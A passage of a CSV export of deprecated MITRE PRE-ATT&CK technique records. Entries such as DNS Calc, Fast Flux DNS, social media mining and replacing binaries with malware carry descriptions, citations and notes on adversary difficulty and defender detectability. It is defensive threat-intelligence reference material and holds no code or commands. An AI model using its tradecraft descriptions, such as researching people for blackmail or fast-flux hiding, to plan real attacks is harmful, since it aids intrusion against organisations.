preserved [here](https://attack.mitre.org/versions/v7/techniques/T1232). - -Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)",attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1009,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1324', 'url': 'https://attack.mitre.org/techniques/T1324'}, {'description': 'Adam Meyers. (2013, March 29). Whois Numbered Panda. Retrieved March 6, 2017.', 'source_name': 'CrowdstrikeNumberedPanda'}, {'description': 'Ned Moran, Mike Oppenheim. (2014, September 3). Darwin’s Favorite APT Group. Retrieved March 6, 2017.', 'source_name': 'FireEyeDarwinsAPTGroup'}, {'source_name': 'Rapid7G20Espionage', 'description': 'Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.', 'url': 'https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,False,https://attack.mitre.org/techniques/T1324,mitre-pre-attack,T1324,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DNSCalc,"**This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).** - -DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)",attack-pattern--7823039f-e2d5-4997-853c-ec983631206b,attack-pattern,['adversary-opsec'],2020-03-30T14:05:23.291Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1101,"This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.",Yes,There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1260', 'external_id': 'T1260'}, {'source_name': 'FFIECAwareness', 'description': 'Federal Financial Institutions Examination Council. (2016, October 17). Cybersecurity Awareness. Retrieved March 5, 2017.'}, {'source_name': 'Zetter2015Threats', 'description': 'Kim Zetter. (2015, January 4). The Biggest Security Threats We’ll Face in 2015. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1260,mitre-pre-attack,T1260,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine 3rd party infrastructure services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1260). - -Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)",attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1037,"Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses",Yes,"The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1258', 'external_id': 'T1258'}, {'source_name': 'Abdelnur Advanced Fingerprinting', 'description': 'Humberto J. Abdelnur, Radu State, Olivier Festor. (2008). Advanced Network Fingerprinting. Retrieved April 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1258,mitre-pre-attack,T1258,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine firmware version,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1258). - -Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)",attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1035,"Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.",Yes,No easy way for defenders to detect when an adversary collects this information.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1241', 'external_id': 'T1241'}, {'source_name': 'CyberAdversaryBehavior', 'description': 'Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'}, {'source_name': 'JP3-60', 'description': 'Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'}, {'source_name': 'JP3-12R', 'description': 'Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'}, {'source_name': 'DoD Cyber 2015', 'description': 'Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'target-selection'}]",1.0,,https://attack.mitre.org/techniques/T1241,mitre-pre-attack,T1241,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine strategic target,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1241). - -An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877,attack-pattern,['target-selection'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1018,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,Yes,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1379', 'external_id': 'T1379'}, {'source_name': 'USBMalwareAttacks', 'description': 'Sean Carroll. (2010, November 4). USB Malware Attacks On the Rise. Retrieved March 9, 2017.'}, {'source_name': 'FPDefendNewDomain', 'description': 'William J. Lynn III. (2010, September). Defending a New Domain. Retrieved March 9, 2017.'}, {'source_name': 'ParkingLotUSB', 'description': ""Emil Protalinski. (2012, July 11). Criminals push malware by 'losing' USB sticks in parking lots. Retrieved March 9, 2017.""}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'stage-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1379,mitre-pre-attack,T1379,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disseminate removable media,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379). - -Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)",attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412,attack-pattern,['stage-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1156,Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.,Yes,"From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1311', 'external_id': 'T1311'}, {'source_name': 'DellMirage2012', 'description': 'DELL SECUREWORKS COUNTER THREAT UNIT THREAT INTELLIGENCE. (2012, September 18). The Mirage Campaign. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1311,mitre-pre-attack,T1311,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dynamic DNS,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1311). - -Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)",attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1088,"Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.",Yes,"Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1325', 'url': 'https://attack.mitre.org/techniques/T1325'}, {'description': 'Jamie Riden. (2008, August 16). HOW FAST-FLUX SERVICE NETWORKS WORK. Retrieved March 6, 2017.', 'source_name': 'HoneynetFastFlux'}, {'description': 'Misnomer. (2012, May 4). RESEARCH TO DETECTION – IDENTIFY FAST FLUX IN YOUR ENVIRONMENT. Retrieved March 6, 2017.', 'source_name': 'MisnomerFastFlux'}, {'url': 'https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref', 'description': 'Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.', 'source_name': 'MehtaFastFluxPt1'}, {'source_name': 'MehtaFastFluxPt2', 'description': 'Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.', 'url': 'https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,False,https://attack.mitre.org/techniques/T1325,mitre-pre-attack,T1325,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Fast Flux DNS,"**This technique has been deprecated. Please use [Fast Flux DNS](https://attack.mitre.org/techniques/T1568/001).** - -A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)",attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30,attack-pattern,['adversary-opsec'],2020-03-30T14:06:03.611Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1102,"Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.",Yes,"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1314', 'external_id': 'T1314'}, {'source_name': 'VirutAP', 'description': 'Microsoft Malware Protection Center. (2008, July 30). Virus: Win32/Virut.AP. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1314,mitre-pre-attack,T1314,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Host-based hiding techniques,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314). - -Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)",attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1091,"Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).",No,"Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1283', 'external_id': 'T1283'}, {'source_name': '11StepsAttackers', 'description': 'Thor Olavsrud. (2014, September 2). 11 Steps Attackers Took to Crack Target. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1283,mitre-pre-attack,T1283,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify business relationships,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1283). - -Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)",attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1060,"Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.",Yes,Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1267', 'external_id': 'T1267'}, {'source_name': 'JobPostingThreat', 'description': 'Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1267,mitre-pre-attack,T1267,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify job postings and needs/gaps,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1267). - -Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)",attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1044,Very public by design.,Yes,Public source external to the defender's organization.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1274', 'external_id': 'T1274'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1274,mitre-pre-attack,T1274,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify sensitive personnel information,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1274). - -An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)",attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1051,This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.,Yes,Searching publicly available sources that cannot be monitored by a defender.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1389', 'external_id': 'T1389'}, {'source_name': 'Flexera News Vulnerabilities', 'description': 'John Lipsey. (2015, March 25). 15,435 Vulnerabilities in Close to 4,000 Applications in 2014. Retrieved April 12, 2017.'}, {'source_name': 'Android Security Review 2015', 'description': 'Google. (2016, April). Android Security 2015 Year In Review. Retrieved April 12, 2017.'}, {'source_name': 'Android Multidex RCE', 'description': 'Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved April 12, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1389,mitre-pre-attack,T1389,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify vulnerabilities in third-party software libraries,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1389). - -Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)",attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1166,"Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.",Yes,"Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it's security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1273', 'external_id': 'T1273'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1273,mitre-pre-attack,T1273,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Mine social media,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1273). - -An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)",attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1050,Very public by design. Application of privacy settings is not a panacea.,Yes,Searching publicly available sources that cannot be monitored by a defender.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1390', 'external_id': 'T1390'}, {'source_name': 'Securelist Mobile Malware 2013', 'description': 'Roman Unuchek, Victor Chebyshev. (2014, February 24). Mobile Malware Evolution: 2013. Retrieved April 12, 2017.'}, {'source_name': 'DroydSeuss', 'description': 'Alberto Coletta, Victor van der Veen, and Federico Maggi. (2016). DroydSeuss: A Mobile Banking Trojan Tracker - Short Paper. Retrieved April 12, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1390,mitre-pre-attack,T1390,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,OS-vendor provided communication channels,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1390). - -Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)",attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1167,"These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.",Yes,These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1313', 'external_id': 'T1313'}, {'source_name': 'FireEyeAPT28', 'description': 'FireEye, Inc. (2014). APT 28: A Window into Russia’s Cyber Espionage Operations?. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1313,mitre-pre-attack,T1313,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obfuscation or cryptography,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1313). - -Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)",attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1090,"Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.",Yes,Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1346', 'external_id': 'T1346'}, {'source_name': 'SonyDestover', 'description': 'Kurt Baumgartner. (2014, December 4). Sony/Destover: mystery North Korean actor’s destructive and past network activity. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1346,mitre-pre-attack,T1346,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obtain/re-use payloads,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1346). - -A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)",attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1123,Several exploit repositories and tool suites exist for re-use and tailoring.,Yes,"Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1304', 'external_id': 'T1304'}, {'source_name': 'APT1', 'description': 'Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1304,mitre-pre-attack,T1304,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Proxy/protocol relays,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1304). - -Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)",attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1081,Proxies are readily available for the adversary with both free and cost-based options available.,Yes,Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.,No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1378', 'url': 'https://attack.mitre.org/techniques/T1378'}, {'description': 'Daavid and Antti. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved March 9, 2017.', 'source_name': 'FSecureICS'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1378,mitre-pre-attack,T1378,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Replace legitimate binary with malware,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)",attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0,attack-pattern,['launch'],2020-03-30T14:23:46.977Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1155,"Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.",No,"On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1337', 'external_id': 'T1337'}, {'source_name': 'SubvertSSL', 'description': 'Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017.'}, {'source_name': 'PaypalScam', 'description': ""Bob Sullivan. (2000, July 24). PayPal 